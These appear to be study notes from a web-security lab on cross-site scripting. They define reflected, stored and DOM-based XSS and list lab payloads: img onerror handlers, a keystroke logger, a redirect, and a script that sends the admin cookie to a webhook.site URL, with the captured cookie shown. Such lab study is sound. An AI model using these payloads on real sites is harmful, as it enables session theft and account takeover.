Web App - XSS

• Cross-Site Scripting (XSS) Cheat Sheet - 2024 Edition | Web Security Academy

➡️ Cross-site scripting (XSS) allows an attacker to compromise the interactions of the users with a vulnerable application. It lets the attacker execute (malicious) JavaScript in a victim's browser, compromising the user's interaction with the application.

• Reflected XSS

  • when an application unsafely includes user-supplied data (injected script) from an HTTP request in its immediate response

  • payload (malicious script) come from the current HTTP request

• Stored XSS

  • when an application receives and stores data from an untrusted source and unsafely includes it within its later HTTP responses

  • payload (malicious script) come from the application's database

• DOM-based XSS

  • when client-side Javascript (code) unsafely processes data from an untrusted source and writes it back to the DOM

  • everything happens locally in the browser

alert(1)
print()
prompt("Hello")

# log pressed key
function logKey(event){console.log(event.key)}
document.addEventListener('keydown', logKey)

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XSS - DOM

• The request happens entirelly locally

  • no request seen in the browser Dev Tools / Network tab

• Try some basic payloads

<script>prompt(1)</script>
# did not work, it is not called/triggered

<img src=x onerror ="prompt(1)">
# works - injects an event-driven JavaScript payload that executes prompt(1) when the image fails to load due to an invalid source

<img src=x onerror ="window.location.href='https://tcm-sec.com'">
# redirect the user to another webpage

• The lab can be used for testing other payloads

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Stored XSS

• To check if XSS is stored for more users, use

  • incognito sessions

  • or Firefox Containers

  • to create 2 different environments with separate/difference accounts

• First try some HTML injection, once found out if it works, XSS follows

  • every user that visits the page is impacted by the stored XSS payload

<h1>Test</h1>
# works - check on the second environment the Stored XSS

<script>prompt(1)</script>
# works - refresh second environment and you'll see the prompt

<script>alert(document.cookie)</script>
# Cookie can be stolen

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XSS - Challenge

• Open http://localhost/labs/x0x03.php first Firefox container

• Open http://localhost/labs/x0x03_admin.php in the second container

• Goal - exfiltrate the admin cookie

• Use netcat or https://webhook.site (not for private traffic)

  • use Collaborator (with BurpSuite Pro)

<script>var i = new Image; i.src="https://webhook.site/4a14cea0-1e8c-4707-a596-cf1939bd4a76/?"+document.cookie</script>

admin_cookie
5ac5355b84894ede056ab81b324c4675

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